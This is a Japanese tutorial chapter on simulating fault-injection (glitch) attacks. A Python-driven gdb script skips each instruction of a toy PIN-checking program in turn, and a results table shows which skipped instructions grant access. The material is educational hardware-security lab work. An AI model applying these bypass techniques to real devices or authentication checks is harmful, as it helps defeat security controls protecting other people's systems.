Skip to content

Keyboard shortcuts

Press or to navigate between chapters

Press ? to show this help

Press Esc to hide this help

シミュレーションによる FIA 2

前回は,gdb を使い,人が手で止めて,あらかじめスキップすべきと分かっている jne だけをスキップしました. これは非常に簡単でしたが,現実の攻撃とはかけ離れています. 実際の攻撃者は,

  • どの命令を飛ばすべきか事前にわからない
  • いつ飛ばせばよいか分からない

という制約があります. このため,攻撃者は片っ端から位置を変えて何度も攻撃を試し,場所を探し当てる必要があります. この総当たりをグリッチキャンペーンと呼びます. 今回は,被害者は victim.c のままに,外部の Python プログラムによって自動でスキップを行い,どこで認証がとれるかを発見するまでの流れを体験します.

考え方

前回手打ちした gdb のコマンドは以下でした

b (break)
r 9999 (run 9999)
set $pc = $pc + <命令長>
c (continue)

今回の Injector がやるのはこれを全命令分自動で繰り替えすことだけです. 1 命令ずつスキップ対象を変えながら,上の 4 行を gdb にバッチ実行させ,出力が GRANTED となることを期待します.

課題

「実行開始から n 命令目を飛ばす」を素直に実行すると,ライブラリにもスキップが必要になり,命令数が何倍にも膨れ上がります. これは避けたいため,今回はライブラリ呼び出しは中に入らないこととします. すこしズルですが,これはあくまで実行時間を節約するための措置であり,脅威モデルや攻撃シナリオには影響を与えません.

実装

def advance_one():
    _, ins = cur()                       # いまの命令
    m = re.match(r"call\s+0x([0-9a-f]+)", ins["asm"])
    if m and gdb.find_pc_line(int(m.group(1), 16)).symtab is None:
        gdb.execute("nexti")             # ライブラリ呼び出しはスキップせず進める
    else:
        gdb.execute("stepi")             # 自分のコードはスキップする

for _ in range(K):        # K 命令目まで進める
    advance_one()
pc, ins = cur()
gdb.execute(f"set $pc = {hex(pc + ins['length'])}")   # ← K 命令目をスキップ
gdb.execute("continue")

核となる実装は上記のようになります. 外部の Injector はこの K0, 1, 2... と変えて何度も呼び,出力が GRANTED かを確認するだけです. どこに jne があるかや,そもそもどの命令を飛ばせばいいのかを確認していません. 上記を踏まえて Injector を実装してみてください.必要な機能は以下です

  • ローカルで ./victim を実行する
  • ライブラリ以外の呼び出しを上から順番にスキップする
  • 出力を確認し,GRANETED となる条件を記録

実行結果

今回は ASLR や PIE を有効にして実行してみましょう.

gcc -O0 -g -fpie -pie -o victim victim.c

自分の環境での実行結果は以下のようになりました

u@u-VirtualBox:~/FIA$ python3 injector_offset.py 
  0          cmpl   $0x1,-0x14(%rbp)   DENIED
  1          jle    0x5555555551bf     DENIED
  2          mov    -0x20(%rbp),%rax   CRASH
  3          add    $0x8,%rax          DENIED
  4          mov    (%rax),%rax        DENIED
  5          mov    %rax,%rdi          CRASH
  6          call   0x555555555070     DENIED
  7          jmp    0x5555555551c4     DENIED
  8          mov    %eax,-0x4(%rbp)    DENIED
  9          mov    -0x4(%rbp),%eax    DENIED
  10         mov    %eax,%edi          DENIED
  11         call   0x555555555169     GRANTED  <<< check
  12         endbr64                   DENIED
  13         push   %rbp               CRASH
  14         mov    %rsp,%rbp          DENIED
  15         mov    %edi,-0x14(%rbp)   DENIED
  16         movl   $0x4d2,-0x4(%rbp)  DENIED
  17         mov    -0x14(%rbp),%eax   DENIED
  18         cmp    -0x4(%rbp),%eax    DENIED
  19         jne    0x55555555518a     GRANTED  <<< check
  20         mov    $0x0,%eax          GRANTED  <<< check
  21         pop    %rbp               CRASH
  22         ret                       ?
  23         test   %eax,%eax          GRANTED  <<< check
  24         je     0x5555555551f0     GRANTED  <<< check
  25         mov    -0x4(%rbp),%eax    DENIED
  26         mov    %eax,%esi          DENIED
  27         lea    0xe1e(%rip),%rax        # 0x55555555601aDENIED
  28         mov    %rax,%rdi          DENIED
  29         mov    $0x0,%eax          DENIED
  30         call   0x555555555060     DENIED
  31         mov    $0x0,%eax          DENIED

これまでは jne を飛ばすことに注目して今したが,jne 以外にもスキップすると攻撃が成功する命令がいくつかあるようです.

考察

前回は check_pin しか見ていないわけですが,スキップ位置の掃引は main も含めた実行の流れ全体をなぞるため,前回よりもスキップすべき命令が多く分かったということです.

  • K=11: call check_pin: そもそも認証用関数が飛ばされないため,レジスタには eax の値が残ったまま関数を素通りします.
  • K=19: jne: 前回同様です
  • K=20: mov $0x0, %eax: 拒否側の「戻り値を 0 にする」という操作が消え,eax に残った入力値が漏れて認証が OK となる
  • K=23: test %eax, %eax: main で戻り値を確認する命令が消え,フラグが直前の不一致のまま残る
  • K=24: je: main の,DENIED ならジャンプが消え,そのまま認証が通る

このように,main 側も攻撃ポイントがあることが分かりました.